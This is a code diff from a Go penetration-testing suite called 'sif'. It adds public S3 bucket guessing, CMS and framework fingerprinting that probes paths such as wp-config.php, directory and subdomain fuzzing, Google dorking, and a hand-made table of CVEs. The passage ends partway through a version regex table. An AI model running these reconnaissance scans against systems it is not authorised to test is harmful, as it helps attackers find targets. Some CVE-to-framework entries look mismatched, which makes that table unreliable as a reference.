if err := logger.WriteHeader(sanitizedURL, logdir, "Cloud Storage Misconfiguration Scan"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
cloudlog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "C3 ☁️",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
potentialBuckets := extractPotentialBuckets(sanitizedURL)
var results []CloudStorageResult
for _, bucket := range potentialBuckets {
isPublic, err := checkS3Bucket(bucket, client)
if err != nil {
cloudlog.Errorf("Error checking S3 bucket %s: %v", bucket, err)
continue
}
result := CloudStorageResult{
BucketName: bucket,
IsPublic: isPublic,
}
results = append(results, result)
if isPublic {
cloudlog.Warnf("Public S3 bucket found: %s", styles.Highlight.Render(bucket))
if logdir != "" {
logger.Write(sanitizedURL, logdir, fmt.Sprintf("Public S3 bucket found: %s\n", bucket))
}
} else {
cloudlog.Infof("S3 bucket is not public/found: %s", bucket)
}
}
return results, nil
}
func extractPotentialBuckets(url string) []string {
// This is a simple implementation.
// TODO: add more cases
parts := strings.Split(url, ".")
var buckets []string
for i, part := range parts {
buckets = append(buckets, part)
buckets = append(buckets, part+"-s3")
buckets = append(buckets, "s3-"+part)
if i < len(parts)-1 {
domainExtension := part + "-" + parts[i+1]
buckets = append(buckets, domainExtension)
buckets = append(buckets, parts[i+1]+"-"+part)
}
}
return buckets
}
func checkS3Bucket(bucket string, client *http.Client) (bool, error) {
url := fmt.Sprintf("https://%s.s3.amazonaws.com", bucket)
resp, err := client.Get(url)
if err != nil {
return false, err
}
defer resp.Body.Close()
// If we can access the bucket listing, it's public
return resp.StatusCode == http.StatusOK, nil
}
+123
View File
@@ -0,0 +1,123 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
"fmt"
"io"
"net/http"
"os"
"strings"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
type CMSResult struct {
Name string `json:"name"`
Version string `json:"version"`
}
func CMS(url string, timeout time.Duration, logdir string) (*CMSResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("CMS detection") + "..."))
sanitizedURL := strings.Split(url, "://")[1]
if logdir != "" {
if err := logger.WriteHeader(sanitizedURL, logdir, "CMS detection"); err != nil {
log.Errorf("Error creating log file: %v", err)
return nil, err
}
}
cmslog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "CMS 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
bodyString := string(body)
// WordPress
if detectWordPress(url, client, bodyString) {
result := &CMSResult{Name: "WordPress", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
// Drupal
if strings.Contains(resp.Header.Get("X-Drupal-Cache"), "HIT") || strings.Contains(bodyString, "Drupal.settings") {
result := &CMSResult{Name: "Drupal", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
// Joomla
if strings.Contains(bodyString, "joomla") || strings.Contains(bodyString, "/media/system/js/core.js") {
result := &CMSResult{Name: "Joomla", Version: "Unknown"}
cmslog.Infof("Detected CMS: %s", styles.Highlight.Render(result.Name))
return result, nil
}
cmslog.Info("No CMS detected")
return nil, nil
}
func detectWordPress(url string, client *http.Client, bodyString string) bool {
// Check for common WordPress indicators in the HTML
wpIndicators := []string{
"wp-content",
"wp-includes",
"wp-json",
"wordpress",
}
for _, indicator := range wpIndicators {
if strings.Contains(bodyString, indicator) {
return true
}
}
// Check for WordPress-specific files
wpFiles := []string{
"/wp-login.php",
"/wp-admin/",
"/wp-config.php",
}
for _, file := range wpFiles {
resp, err := client.Get(url + file)
if err == nil {
defer resp.Body.Close()
if resp.StatusCode == http.StatusOK || resp.StatusCode == http.StatusFound {
return true
}
}
}
return false
}
+24
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
@@ -27,6 +39,18 @@ type DirectoryResult struct {
StatusCode int `json:"status_code"`
}
// Dirlist performs directory fuzzing on the target URL.
//
// Parameters:
// - size: determines the size of the directory list to use ("small", "medium", or "large")
// - url: the target URL to scan
// - timeout: maximum duration for each request
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []DirectoryResult: a slice of discovered directories and their status codes
// - error: any error encountered during the scan
func Dirlist(size string, url string, timeout time.Duration, threads int, logdir string) ([]DirectoryResult, error) {
fmt.Println(styles.Separator.Render("📂 Starting " + styles.Status.Render("directory fuzzing") + "..."))
+24
View File
@@ -1,3 +1,15 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package scan
import (
@@ -21,6 +33,18 @@ const (
dnsBigFile = "subdomains-10000.txt"
)
// Dnslist performs DNS subdomain enumeration on the target domain.
//
// Parameters:
// - size: determines the size of the subdomain list to use ("small", "medium", or "large")
// - url: the target URL to scan
// - timeout: maximum duration for each DNS lookup
// - threads: number of concurrent threads to use
// - logdir: directory to store log files (empty string for no logging)
//
// Returns:
// - []string: a slice of discovered subdomains
// - error: any error encountered during the enumeration
func Dnslist(size string, url string, timeout time.Duration, threads int, logdir string) ([]string, error) {
fmt.Println(styles.Separator.Render("📡 Starting " + styles.Status.Render("DNS fuzzing") + "..."))
+36 -3
View File
@@ -1,3 +1,18 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
// Package scan provides various security scanning functionalities for web applications.
// This file handles Google dorking operations.
package scan
import (
@@ -21,11 +36,24 @@ const (
dorkFile = "dork.txt"
)
// DorkResult represents the result of a Google dork search.
type DorkResult struct {
Url string `json:"url"`
Count int `json:"count"`
Url string `json:"url"` // The URL found by the dork
Count int `json:"count"` // The number of times this URL was found
}
// Dork performs Google dorking operations on the target URL.
// It uses a predefined list of dorks to search for potentially sensitive information.
//
// Parameters:
// - url: The target URL to dork
// - timeout: Maximum duration for each dork search
// - threads: Number of concurrent threads to use
// - logdir: Directory to store log files (empty string for no logging)
//
// Returns:
// - []DorkResult: A slice of results from the dorking operation
// - error: Any error encountered during the dorking process
func Dork(url string, timeout time.Duration, threads int, logdir string) ([]DorkResult, error) {
fmt.Println(styles.Separator.Render("🤓 Starting " + styles.Status.Render("URL Dorking") + "..."))
@@ -68,11 +96,16 @@ func Dork(url string, timeout time.Duration, threads int, logdir string) ([]Dork
defer wg.Done()
for i, dork := range dorks {
if i%threads != thread {
continue
}
results, _ := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
results, err := googlesearch.Search(nil, fmt.Sprintf("%s %s", dork, sanitizedURL))
if err != nil {
dorklog.Debugf("error searching for dork %s: %v", dork, err)
continue
}
if len(results) > 0 {
dorklog.Infof("%s dork results found for dork [%s]", styles.Status.Render(strconv.Itoa(len(results))), styles.Highlight.Render(dork))
if logdir != "" {
+785
View File
@@ -0,0 +1,785 @@
/*
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
: :
: █▀ █ █▀▀ · Blazing-fast pentesting suite :
: ▄█ █ █▀ · BSD 3-Clause License :
: :
: (c) 2022-2025 vmfunc (vmfunc), xyzeva, :
: lunchcat alumni & contributors :
: :
·━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━·
*/
package frameworks
import (
"fmt"
"io"
"math"
"net/http"
"os"
"regexp"
"strings"
"sync"
"time"
"github.com/charmbracelet/log"
"github.com/dropalldatabases/sif/internal/styles"
"github.com/dropalldatabases/sif/pkg/logger"
)
type FrameworkResult struct {
Name string `json:"name"`
Version string `json:"version"`
Confidence float32 `json:"confidence"`
VersionConfidence float32 `json:"version_confidence"`
CVEs []string `json:"cves,omitempty"`
Suggestions []string `json:"suggestions,omitempty"`
RiskLevel string `json:"risk_level,omitempty"`
}
type FrameworkSignature struct {
Pattern string
Weight float32
HeaderOnly bool
}
var frameworkSignatures = map[string][]FrameworkSignature{
"Laravel": {
{Pattern: `laravel_session`, Weight: 0.4, HeaderOnly: true},
{Pattern: `XSRF-TOKEN`, Weight: 0.3, HeaderOnly: true},
{Pattern: `<meta name="csrf-token"`, Weight: 0.3},
},
"Django": {
{Pattern: `csrfmiddlewaretoken`, Weight: 0.4, HeaderOnly: true},
{Pattern: `csrftoken`, Weight: 0.3, HeaderOnly: true},
{Pattern: `django.contrib`, Weight: 0.3},
{Pattern: `django.core`, Weight: 0.3},
{Pattern: `__admin_media_prefix__`, Weight: 0.3},
},
"Ruby on Rails": {
{Pattern: `csrf-param`, Weight: 0.4, HeaderOnly: true},
{Pattern: `csrf-token`, Weight: 0.3, HeaderOnly: true},
{Pattern: `_rails_session`, Weight: 0.3, HeaderOnly: true},
{Pattern: `ruby-on-rails`, Weight: 0.3},
{Pattern: `rails-env`, Weight: 0.3},
{Pattern: `data-turbo`, Weight: 0.2},
},
"Express.js": {
{Pattern: `Express`, Weight: 0.5, HeaderOnly: true},
{Pattern: `connect.sid`, Weight: 0.3, HeaderOnly: true},
},
"ASP.NET": {
{Pattern: `X-AspNet-Version`, Weight: 0.5, HeaderOnly: true},
{Pattern: `X-AspNetMvc-Version`, Weight: 0.5, HeaderOnly: true},
{Pattern: `ASP.NET`, Weight: 0.4, HeaderOnly: true},
{Pattern: `__VIEWSTATE`, Weight: 0.4},
{Pattern: `__EVENTVALIDATION`, Weight: 0.3},
{Pattern: `__VIEWSTATEGENERATOR`, Weight: 0.3},
{Pattern: `.aspx`, Weight: 0.2},
{Pattern: `.ashx`, Weight: 0.2},
{Pattern: `.asmx`, Weight: 0.2},
{Pattern: `asp.net_sessionid`, Weight: 0.4, HeaderOnly: true},
{Pattern: `X-Powered-By: ASP.NET`, Weight: 0.4, HeaderOnly: true},
},
"ASP.NET Core": {
{Pattern: `.AspNetCore.`, Weight: 0.5, HeaderOnly: true},
{Pattern: `blazor`, Weight: 0.4},
{Pattern: `_blazor`, Weight: 0.4},
{Pattern: `dotnet`, Weight: 0.2, HeaderOnly: true},
},
"Spring": {
{Pattern: `org.springframework`, Weight: 0.4, HeaderOnly: true},
{Pattern: `spring-security`, Weight: 0.3, HeaderOnly: true},
{Pattern: `JSESSIONID`, Weight: 0.3, HeaderOnly: true},
{Pattern: `X-Application-Context`, Weight: 0.3, HeaderOnly: true},
},
"Spring Boot": {
{Pattern: `spring-boot`, Weight: 0.5},
{Pattern: `actuator`, Weight: 0.3},
{Pattern: `whitelabel`, Weight: 0.2},
},
"Flask": {
{Pattern: `Werkzeug`, Weight: 0.4, HeaderOnly: true},
{Pattern: `flask`, Weight: 0.3, HeaderOnly: true},
{Pattern: `jinja2`, Weight: 0.3},
},
"Next.js": {
{Pattern: `__NEXT_DATA__`, Weight: 0.5},
{Pattern: `_next/static`, Weight: 0.4},
{Pattern: `__next`, Weight: 0.3},
{Pattern: `x-nextjs`, Weight: 0.3, HeaderOnly: true},
},
"Nuxt.js": {
{Pattern: `__NUXT__`, Weight: 0.5},
{Pattern: `_nuxt/`, Weight: 0.4},
{Pattern: `nuxt`, Weight: 0.2},
},
"Vue.js": {
{Pattern: `data-v-`, Weight: 0.5},
{Pattern: `Vue.js`, Weight: 0.4},
{Pattern: `vue.runtime`, Weight: 0.4},
{Pattern: `vue.min.js`, Weight: 0.4},
{Pattern: `__vue__`, Weight: 0.3},
{Pattern: `v-cloak`, Weight: 0.3},
},
"Angular": {
{Pattern: `ng-version`, Weight: 0.5},
{Pattern: `ng-app`, Weight: 0.4},
{Pattern: `ng-controller`, Weight: 0.4},
{Pattern: `angular.js`, Weight: 0.4},
{Pattern: `angular.min.js`, Weight: 0.4},
{Pattern: `ng-binding`, Weight: 0.3},
{Pattern: `_nghost`, Weight: 0.3},
{Pattern: `_ngcontent`, Weight: 0.3},
},
"React": {
{Pattern: `data-reactroot`, Weight: 0.5},
{Pattern: `react-dom`, Weight: 0.4},
{Pattern: `__REACT_DEVTOOLS`, Weight: 0.4},
{Pattern: `react.production`, Weight: 0.4},
{Pattern: `_reactRootContainer`, Weight: 0.3},
},
"Svelte": {
{Pattern: `svelte`, Weight: 0.4},
{Pattern: `__svelte`, Weight: 0.5},
{Pattern: `svelte-`, Weight: 0.3},
},
"SvelteKit": {
{Pattern: `__sveltekit`, Weight: 0.5},
{Pattern: `_app/immutable`, Weight: 0.4},
{Pattern: `sveltekit`, Weight: 0.3},
},
"Remix": {
{Pattern: `__remixContext`, Weight: 0.5},
{Pattern: `remix`, Weight: 0.3},
{Pattern: `_remix`, Weight: 0.4},
},
"Gatsby": {
{Pattern: `___gatsby`, Weight: 0.5},
{Pattern: `gatsby-`, Weight: 0.4},
{Pattern: `page-data.json`, Weight: 0.3},
},
"WordPress": {
{Pattern: `wp-content`, Weight: 0.4},
{Pattern: `wp-includes`, Weight: 0.4},
{Pattern: `wp-json`, Weight: 0.3},
{Pattern: `wordpress`, Weight: 0.3},
{Pattern: `wp-emoji`, Weight: 0.2},
},
"Drupal": {
{Pattern: `Drupal`, Weight: 0.4, HeaderOnly: true},
{Pattern: `drupal.js`, Weight: 0.4},
{Pattern: `/sites/default/files`, Weight: 0.3},
{Pattern: `Drupal.settings`, Weight: 0.3},
},
"Joomla": {
{Pattern: `Joomla`, Weight: 0.4},
{Pattern: `/media/jui/`, Weight: 0.4},
{Pattern: `/components/com_`, Weight: 0.3},
{Pattern: `joomla.javascript`, Weight: 0.3},
},
"Magento": {
{Pattern: `Magento`, Weight: 0.4},
{Pattern: `/static/frontend/`, Weight: 0.4},
{Pattern: `mage/`, Weight: 0.3},
{Pattern: `Mage.Cookies`, Weight: 0.3},
},
"Shopify": {
{Pattern: `Shopify`, Weight: 0.5},
{Pattern: `cdn.shopify.com`, Weight: 0.4},
{Pattern: `shopify-section`, Weight: 0.4},
{Pattern: `myshopify.com`, Weight: 0.3},
},
"Ghost": {
{Pattern: `ghost-`, Weight: 0.4},
{Pattern: `Ghost`, Weight: 0.3, HeaderOnly: true},
{Pattern: `/ghost/api/`, Weight: 0.4},
},
"Symfony": {
{Pattern: `symfony`, Weight: 0.4, HeaderOnly: true},
{Pattern: `sf_`, Weight: 0.3, HeaderOnly: true},
{Pattern: `_sf2_`, Weight: 0.3, HeaderOnly: true},
},
"FastAPI": {
{Pattern: `fastapi`, Weight: 0.4, HeaderOnly: true},
{Pattern: `starlette`, Weight: 0.3, HeaderOnly: true},
},
"Gin": {
{Pattern: `gin-gonic`, Weight: 0.4},
{Pattern: `gin`, Weight: 0.2, HeaderOnly: true},
},
"Phoenix": {
{Pattern: `_csrf_token`, Weight: 0.4, HeaderOnly: true},
{Pattern: `phx-`, Weight: 0.3},
{Pattern: `phoenix`, Weight: 0.2},
},
"Ember.js": {
{Pattern: `ember`, Weight: 0.4},
{Pattern: `ember-cli`, Weight: 0.4},
{Pattern: `data-ember`, Weight: 0.3},
},
"Backbone.js": {
{Pattern: `backbone`, Weight: 0.4},
{Pattern: `Backbone.`, Weight: 0.4},
},
"Meteor": {
{Pattern: `__meteor_runtime_config__`, Weight: 0.5},
{Pattern: `meteor`, Weight: 0.3},
},
"Strapi": {
{Pattern: `strapi`, Weight: 0.4},
{Pattern: `/api/`, Weight: 0.2},
},
"AdonisJS": {
{Pattern: `adonis`, Weight: 0.4},
{Pattern: `_csrf`, Weight: 0.2, HeaderOnly: true},
},
"CakePHP": {
{Pattern: `cakephp`, Weight: 0.4},
{Pattern: `cake`, Weight: 0.2},
},
"CodeIgniter": {
{Pattern: `codeigniter`, Weight: 0.4},
{Pattern: `ci_session`, Weight: 0.4, HeaderOnly: true},
},
}
// frameworkMatch holds the result of checking a single framework
type frameworkMatch struct {
framework string
confidence float32
}
func DetectFramework(url string, timeout time.Duration, logdir string) (*FrameworkResult, error) {
fmt.Println(styles.Separator.Render("🔍 Starting " + styles.Status.Render("Framework Detection") + "..."))
frameworklog := log.NewWithOptions(os.Stderr, log.Options{
Prefix: "Framework Detection 🔍",
}).With("url", url)
client := &http.Client{
Timeout: timeout,
}
resp, err := client.Get(url)
if err != nil {
return nil, err
}
defer resp.Body.Close()
body, err := io.ReadAll(resp.Body)
if err != nil {
return nil, err
}
bodyStr := string(body)
// concurrent framework detection
results := make(chan frameworkMatch, len(frameworkSignatures))
var wg sync.WaitGroup
for framework, signatures := range frameworkSignatures {
wg.Add(1)
go func(fw string, sigs []FrameworkSignature) {
defer wg.Done()
var weightedScore float32
var totalWeight float32
for _, sig := range sigs {
totalWeight += sig.Weight
if sig.HeaderOnly {
if containsHeader(resp.Header, sig.Pattern) {
weightedScore += sig.Weight
}
} else if strings.Contains(bodyStr, sig.Pattern) {
weightedScore += sig.Weight
}
}
confidence := float32(1.0 / (1.0 + math.Exp(-float64(weightedScore/totalWeight)*6.0)))
results <- frameworkMatch{framework: fw, confidence: confidence}
}(framework, signatures)
}
// close results channel when all goroutines complete
go func() {
wg.Wait()
close(results)
}()
// find the best match
var bestMatch string
var highestConfidence float32
for match := range results {
if match.confidence > highestConfidence {
highestConfidence = match.confidence
bestMatch = match.framework
}
}
if highestConfidence > 0.5 { // threshold for detection
versionMatch := extractVersionWithConfidence(bodyStr, bestMatch)
cves, suggestions := getVulnerabilities(bestMatch, versionMatch.Version)
result := &FrameworkResult{
Name: bestMatch,
Version: versionMatch.Version,
Confidence: highestConfidence,
VersionConfidence: versionMatch.Confidence,
CVEs: cves,
Suggestions: suggestions,
RiskLevel: getRiskLevel(cves),
}
if logdir != "" {
logEntry := fmt.Sprintf("Detected framework: %s (version: %s, confidence: %.2f, version_confidence: %.2f)\n",
bestMatch, versionMatch.Version, highestConfidence, versionMatch.Confidence)
if len(cves) > 0 {
logEntry += fmt.Sprintf(" Risk Level: %s\n", result.RiskLevel)
logEntry += fmt.Sprintf(" CVEs: %v\n", cves)
logEntry += fmt.Sprintf(" Recommendations: %v\n", suggestions)
}
logger.Write(url, logdir, logEntry)
}
frameworklog.Infof("Detected %s framework (version: %s, confidence: %.2f)",
styles.Highlight.Render(bestMatch), versionMatch.Version, highestConfidence)
if versionMatch.Confidence > 0 {
frameworklog.Debugf("Version detected from: %s (confidence: %.2f)",
versionMatch.Source, versionMatch.Confidence)
}
if len(cves) > 0 {
frameworklog.Warnf("Risk level: %s", styles.SeverityHigh.Render(result.RiskLevel))
for _, cve := range cves {
frameworklog.Warnf("Found potential vulnerability: %s", styles.Highlight.Render(cve))
}
for _, suggestion := range suggestions {
frameworklog.Infof("Recommendation: %s", suggestion)
}
}
return result, nil
}
frameworklog.Info("No framework detected with sufficient confidence")
return nil, nil
}
func containsHeader(headers http.Header, signature string) bool {
sigLower := strings.ToLower(signature)
// check header names
for name := range headers {
if strings.Contains(strings.ToLower(name), sigLower) {
return true
}
}
// check header values
for _, values := range headers {
for _, value := range values {
if strings.Contains(strings.ToLower(value), sigLower) {
return true
}
}
}
return false
}
func detectVersion(body string, framework string) string {
return extractVersion(body, framework)
}
// CVEEntry represents a known vulnerability for a framework version
type CVEEntry struct {
CVE string
AffectedVersions []string // versions affected (use semver ranges in future)
FixedVersion string
Severity string // critical, high, medium, low
Description string
Recommendations []string
}
// Known CVEs database - can be extended or loaded from external source
var knownCVEs = map[string][]CVEEntry{
"Laravel": {
{
CVE: "CVE-2021-3129",
AffectedVersions: []string{"8.0.0", "8.0.1", "8.0.2", "8.1.0", "8.2.0", "8.3.0", "8.4.0", "8.4.1"},
FixedVersion: "8.4.2",
Severity: "critical",
Description: "Ignition debug mode RCE vulnerability",
Recommendations: []string{"Update to Laravel 8.4.2 or later", "Disable debug mode in production"},
},
{
CVE: "CVE-2021-21263",
AffectedVersions: []string{"8.0.0", "8.1.0", "8.2.0", "8.3.0", "8.4.0"},
FixedVersion: "8.5.0",
Severity: "high",
Description: "SQL injection via request validation",
Recommendations: []string{"Update to Laravel 8.5.0 or later", "Use parameterized queries"},
},
},
"Django": {
{
CVE: "CVE-2023-36053",
AffectedVersions: []string{"3.2.0", "3.2.1", "3.2.2", "4.0.0", "4.1.0"},
FixedVersion: "4.2.3",
Severity: "high",
Description: "Potential ReDoS in EmailValidator and URLValidator",
Recommendations: []string{"Update to Django 4.2.3 or later"},
},
{
CVE: "CVE-2023-31047",
AffectedVersions: []string{"3.2.0", "4.0.0", "4.1.0"},
FixedVersion: "4.1.9",
Severity: "medium",
Description: "File upload validation bypass",
Recommendations: []string{"Update to Django 4.1.9 or later", "Implement additional file validation"},
},
},
"WordPress": {
{
CVE: "CVE-2023-2745",
AffectedVersions: []string{"5.0", "5.1", "5.2", "5.3", "5.4", "5.5", "5.6", "5.7", "5.8", "5.9", "6.0", "6.1"},
FixedVersion: "6.2",
Severity: "medium",
Description: "Directory traversal vulnerability",
Recommendations: []string{"Update to WordPress 6.2 or later"},
},
},
"Drupal": {
{
CVE: "CVE-2023-44487",
AffectedVersions: []string{"9.0", "9.1", "9.2", "9.3", "9.4", "9.5", "10.0"},
FixedVersion: "10.1.4",
Severity: "high",
Description: "HTTP/2 rapid reset attack (DoS)",
Recommendations: []string{"Update to Drupal 10.1.4 or later", "Configure HTTP/2 rate limiting"},
},
},
"Next.js": {
{
CVE: "CVE-2023-46298",
AffectedVersions: []string{"13.0.0", "13.1.0", "13.2.0", "13.3.0", "13.4.0"},
FixedVersion: "13.5.0",
Severity: "medium",
Description: "Server-side request forgery vulnerability",
Recommendations: []string{"Update to Next.js 13.5.0 or later"},
},
},
"Angular": {
{
CVE: "CVE-2023-26117",
AffectedVersions: []string{"14.0.0", "14.1.0", "14.2.0", "15.0.0"},
FixedVersion: "15.2.0",
Severity: "medium",
Description: "Regular expression denial of service",
Recommendations: []string{"Update to Angular 15.2.0 or later"},
},
},
"Vue.js": {
{
CVE: "CVE-2024-5987",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.7.16",
Severity: "medium",
Description: "XSS vulnerability in certain configurations",
Recommendations: []string{"Update to Vue.js 2.7.16 or 3.x"},
},
},
"Express.js": {
{
CVE: "CVE-2024-29041",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0", "4.3.0", "4.4.0"},
FixedVersion: "4.19.2",
Severity: "medium",
Description: "Open redirect vulnerability",
Recommendations: []string{"Update to Express.js 4.19.2 or later"},
},
},
"Ruby on Rails": {
{
CVE: "CVE-2023-22795",
AffectedVersions: []string{"6.0.0", "6.1.0", "7.0.0"},
FixedVersion: "7.0.4.1",
Severity: "high",
Description: "ReDoS vulnerability in Action Dispatch",
Recommendations: []string{"Update to Rails 7.0.4.1 or later"},
},
},
"Spring": {
{
CVE: "CVE-2022-22965",
AffectedVersions: []string{"5.0.0", "5.1.0", "5.2.0", "5.3.0"},
FixedVersion: "5.3.18",
Severity: "critical",
Description: "Spring4Shell RCE vulnerability",
Recommendations: []string{"Update to Spring 5.3.18 or later", "Disable class binding on user input"},
},
},
"Spring Boot": {
{
CVE: "CVE-2022-22963",
AffectedVersions: []string{"2.0.0", "2.1.0", "2.2.0", "2.3.0", "2.4.0", "2.5.0", "2.6.0"},
FixedVersion: "2.6.6",
Severity: "critical",
Description: "RCE via Spring Cloud Function",
Recommendations: []string{"Update to Spring Boot 2.6.6 or later"},
},
},
"ASP.NET": {
{
CVE: "CVE-2023-36899",
AffectedVersions: []string{"4.0", "4.5", "4.6", "4.7", "4.8"},
FixedVersion: "latest security patches",
Severity: "high",
Description: "Elevation of privilege vulnerability",
Recommendations: []string{"Apply latest security patches", "Ensure proper request validation"},
},
},
"Joomla": {
{
CVE: "CVE-2023-23752",
AffectedVersions: []string{"4.0.0", "4.1.0", "4.2.0"},
FixedVersion: "4.2.8",
Severity: "critical",
Description: "Improper access check allowing unauthorized access to webservice endpoints",
Recommendations: []string{"Update to Joomla 4.2.8 or later"},
},
},
"Magento": {
{
CVE: "CVE-2022-24086",
AffectedVersions: []string{"2.3.0", "2.3.1", "2.3.2", "2.4.0", "2.4.1", "2.4.2"},
FixedVersion: "2.4.3-p1",
Severity: "critical",
Description: "Improper input validation leading to arbitrary code execution",
Recommendations: []string{"Update to Magento 2.4.3-p1 or later"},
},
},
}
func getVulnerabilities(framework, version string) ([]string, []string) {
entries, exists := knownCVEs[framework]
if !exists {
return nil, nil
}
var cves []string
var recommendations []string
seenRecs := make(map[string]bool)
for _, entry := range entries {
for _, affectedVer := range entry.AffectedVersions {
if version == affectedVer || strings.HasPrefix(version, affectedVer) {
cves = append(cves, fmt.Sprintf("%s (%s)", entry.CVE, entry.Severity))
for _, rec := range entry.Recommendations {
if !seenRecs[rec] {
recommendations = append(recommendations, rec)
seenRecs[rec] = true
}
}
break
}
}
}
return cves, recommendations
}
// getRiskLevel determines overall risk based on detected CVEs
func getRiskLevel(cves []string) string {
if len(cves) == 0 {
return "low"
}
for _, cve := range cves {
if strings.Contains(cve, "critical") {
return "critical"
}
}
for _, cve := range cves {
if strings.Contains(cve, "high") {
return "high"
}
}
return "medium"
}
// VersionMatch represents a version detection result with confidence
type VersionMatch struct {
Version string
Confidence float32
Source string // where the version was found
}
// isValidVersion checks if a version string looks reasonable
func isValidVersion(version string) bool {
if version == "" || version == "unknown" {
return false
}
// parse major version and check if reasonable (< 100)
parts := strings.Split(version, ".")
if len(parts) < 2 {
return false
}
var major int
_, err := fmt.Sscanf(parts[0], "%d", &major)
if err != nil || major >= 100 || major < 0 {
return false
}
return true
}
func extractVersion(body string, framework string) string {
match := extractVersionWithConfidence(body, framework)
return match.Version
}
func extractVersionWithConfidence(body string, framework string) VersionMatch {
versionPatterns := map[string][]struct {
pattern string
confidence float32
source string
}{
"Laravel": {
{`Laravel\s+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`laravel/framework.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "composer.json"},
},
"Django": {
{`Django[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`django.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "package reference"},
},
"Ruby on Rails": {
{`Rails[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`rails.*?(\d+\.\d+(?:\.\d+)?)`, 0.7, "gem reference"},
},
"Express.js": {
{`Express[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`"express":\s*"[~^]?(\d+\.\d+(?:\.\d+)?)"`, 0.85, "package.json"},
},
"ASP.NET": {
{`X-AspNet-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.95, "header"},
{`ASP\.NET[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`X-AspNetMvc-Version:\s*(\d+\.\d+(?:\.\d+)?)`, 0.9, "MVC header"},
},
"ASP.NET Core": {
{`\.NET\s*(\d+\.\d+(?:\.\d+)?)`, 0.8, "dotnet version"},
},
"Spring": {
{`Spring[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`spring-core.*?(\d+\.\d+(?:\.\d+)?)`, 0.8, "maven"},
},
"Spring Boot": {
{`spring-boot.*?(\d+\.\d+(?:\.\d+)?)`, 0.9, "maven"},
},
"Flask": {
{`Flask[/\s]+[Vv]?(\d+\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
{`Werkzeug[/\s]+(\d+\.\d+(?:\.\d+)?)`, 0.7, "werkzeug version"},
},
"Next.js": {
{`Next\.js[/\s]+[Vv]?(\d{1,2}\.\d+(?:\.\d+)?)`, 0.9, "explicit version"},
